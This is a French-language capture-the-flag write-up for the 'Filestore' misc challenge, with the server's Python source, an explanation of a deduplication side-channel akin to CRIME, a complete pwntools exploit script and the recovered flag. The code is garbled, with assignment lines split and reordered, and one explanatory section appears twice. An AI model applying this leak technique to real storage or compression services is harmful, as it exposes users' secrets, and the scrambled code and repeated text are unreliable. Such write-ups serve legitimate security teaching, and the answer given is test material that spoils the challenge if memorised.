Détails
- Catégorie : Misc
- Points : 50
- Résolutions : 321
Description
“We stored our flag on this platform, but forgot to save the id. Can you help us restore it ?”
nc filestore.2021.ctfcompetition.com 1337
Code source :
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os, secrets, string, time
from flag import flag
def main():
# It's a tiny server...
= bytearray(2**16)
blob = {}
files = 0
used
# Use deduplication to save space.
def store(data):
nonlocal used
= 16
MINIMUM_BLOCK = 1024
MAXIMUM_BLOCK = []
part_list while data:
= data[:MINIMUM_BLOCK]
prefix = -1
ind = 0, -1
bestlen, bestind while True:
= blob.find(prefix, ind+1)
ind if ind == -1: break
= len(os.path.commonprefix([data, bytes(blob[ind:ind+MAXIMUM_BLOCK])]))
length if length > bestlen:
= length, ind
bestlen, bestind
if bestind != -1:
= data[:bestlen], data[bestlen:]
part, data
part_list.append((bestind, bestlen))else:
= data[:MINIMUM_BLOCK], data[MINIMUM_BLOCK:]
part, data +len(part)] = part
blob[used:usedlen(part)))
part_list.append((used, += len(part)
used assert used <= len(blob)
= "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))
fid = part_list
files[fid] return fid
def load(fid):
= []
data for ind, length in files[fid]:
+length])
data.append(blob[ind:indreturn b"".join(data)
print("Welcome to our file storage solution.")
# Store the flag as one of the files.
bytes(flag, "utf-8"))
store(
while True:
print()
print("Menu:")
print("- load")
print("- store")
print("- status")
print("- exit")
= input().strip().lower()
choice if choice == "load":
print("Send me the file id...")
= input().strip()
fid = load(fid)
data print(data.decode())
elif choice == "store":
print("Send me a line of data...")
= input().strip()
data = store(bytes(data, "utf-8"))
fid print("Stored! Here's your file id:")
print(fid)
elif choice == "status":
print("User: ctfplayer")
print("Time: %s" % time.asctime())
= used / 1024.0
kb = len(blob) / 1024.0
kb_all print("Quota: %0.3fkB/%0.3fkB" % (kb, kb_all))
print("Files: %d" % len(files))
elif choice == "exit":
break
else:
print("Nope.")
break
try:
main()except Exception:
print("Nope.")
1) time.sleep(
Comprendre le problème
Le serveur nous permet de stocker du texte et de le récupérer plus tard en utilisant un ID. Nous pouvons également consulter certaines statistiques sur le serveur :
== proof-of-work: disabled ==
Welcome to our file storage solution.
Menu:
- load
- store
- status
- exit
store
Send me a line of data...
blabla
Stored! Here's your file id:
Ks6I04YIBEr55REQ
Menu:
- load
- store
- status
- exit
load
Send me the file id...
Ks6I04YIBEr55REQ
blabla
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:31:57 2021
Quota: 0.032kB/64.000kB
Files: 2
Menu:
- load
- store
- status
- exit
exit
Lors de la connexion, le flag est stocké mais l’ID est inconnu. Nous devons trouver un moyen de récupérer l’ID ou d’exfiltrer directement le contenu du flag.
Résoudre le problème
Un rapide coup d’œil au code source montre clairement qu’il ne sera pas possible de retrouver l’identifiant du flag, car il est généré de manière aléatoire :
= "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16)) fid
Nous devrons faire fuir le contenu du flag d’une manière ou d’une autre.
En examinant la fonction store
, nous pouvons voir que le serveur essaie d’économiser de l’espace en découpant nos données en blocs de 16 octets et en essayant de pointer vers des blocs de données déjà existants lorsque cela est possible. Ceci permet au serveur d’économiser de l’espace et est comparable à la compression de données.
Le format du flag nous apprend que le flag commence par CTF{
. Si nous stockons CTF{
, ces données existent déjà, donc aucune donnée supplémentaire ne devrait être stockée sur le serveur, ce qui n’augmente pas l’espace utilisé du disque. Comme nous pouvons voir l’état du serveur, nous pouvons savoir si nos données d’entrée sont déjà stockées sur le serveur ou non :
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:42:55 2021
Quota: 0.026kB/64.000kB
Files: 1
Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
DWZGD9RyKEBQatBu
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:43:05 2021
Quota: 0.026kB/64.000kB
Files: 2
Si le Quota
ne change pas, cela signifie que nos données étaient déjà stockées sur le serveur, sinon elles ne l’étaient pas. Avec cela, nous pouvons récupérer le flag un octet à la fois.
C’est le même principe d’attaque que la vulnérabilité CRIME qui affecte la compression des données dans des protocoles comme TLS.
Implémentation de la solution
Un rapide coup d’œil au code source montre clairement qu’il ne sera pas possible de retrouver l’identifiant du flag, car il est généré de manière aléatoire :
= "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16)) fid
Nous devrons faire fuir le contenu du flag d’une manière ou d’une autre.
En examinant la fonction store
, nous pouvons voir que le serveur essaie d’économiser de l’espace en découpant nos données en blocs de 16 octets et en essayant de pointer vers des blocs de données déjà existants lorsque cela est possible. Ceci permet au serveur d’économiser de l’espace et est comparable à la compression de données.
Le format du flag nous apprend que le flag commence par CTF{
. Si nous stockons CTF{
, ces données existent déjà, donc aucune donnée supplémentaire ne devrait être stockée sur le serveur, ce qui n’augmente pas l’espace utilisé du disque. Comme nous pouvons voir l’état du serveur, nous pouvons savoir si nos données d’entrée sont déjà stockées sur le serveur ou non :
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:42:55 2021
Quota: 0.026kB/64.000kB
Files: 1
Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
DWZGD9RyKEBQatBu
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:43:05 2021
Quota: 0.026kB/64.000kB
Files: 2
Si le Quota
ne change pas, cela signifie que nos données étaient déjà stockées sur le serveur, sinon elles ne l’étaient pas. Avec cela, nous pouvons récupérer le flag un octet à la fois.
C’est le même principe d’attaque que la vulnérabilité CRIME qui affecte la compression des données dans des protocoles comme TLS.
Implémentation de la solution
Le script complet de l’exploit est donné ci-dessous :
from pwn import *
import string
def store(m):
"store")
conn.sendline(
conn.recvline()
conn.sendline(m)"- exit\n")
conn.recvuntil(
def status():
"status")
conn.sendline(
conn.recvline()
conn.recvline()= conn.recvline()
quota "- exit\n")
conn.recvuntil(return quota
= remote("filestore.2021.ctfcompetition.com", 1337)
conn "- exit\n")
conn.recvuntil(
= status()
STATUS = "CTF{"
FLAG = FLAG
TEMP for _ in range(100):
for e in string.printable:
+e)
store(TEMP= status()
q if q == STATUS:
+= e
FLAG += e
TEMP if len(TEMP) > 15:
= TEMP[1:]
TEMP print(f"{FLAG=}")
break
else:
= q
STATUS
conn.close()
En l’exécutant, on obtient le flag petit à petit :
FLAG='CTF{C'
FLAG='CTF{CR'
FLAG='CTF{CR1'
FLAG='CTF{CR1M'
FLAG='CTF{CR1M3'
FLAG='CTF{CR1M3_'
FLAG='CTF{CR1M3_0'
FLAG='CTF{CR1M3_0f'
FLAG='CTF{CR1M3_0f_'
FLAG='CTF{CR1M3_0f_d'
FLAG='CTF{CR1M3_0f_d3'
FLAG='CTF{CR1M3_0f_d3d'
FLAG='CTF{CR1M3_0f_d3du'
FLAG='CTF{CR1M3_0f_d3dup'
FLAG='CTF{CR1M3_0f_d3dup1'
FLAG='CTF{CR1M3_0f_d3dup1i'
FLAG='CTF{CR1M3_0f_d3dup1ic'
FLAG='CTF{CR1M3_0f_d3dup1ic4'
FLAG='CTF{CR1M3_0f_d3dup1ic4t'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0n'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0n}'
Flag : CTF{CR1M3_0f_d3dup1ic4ti0n}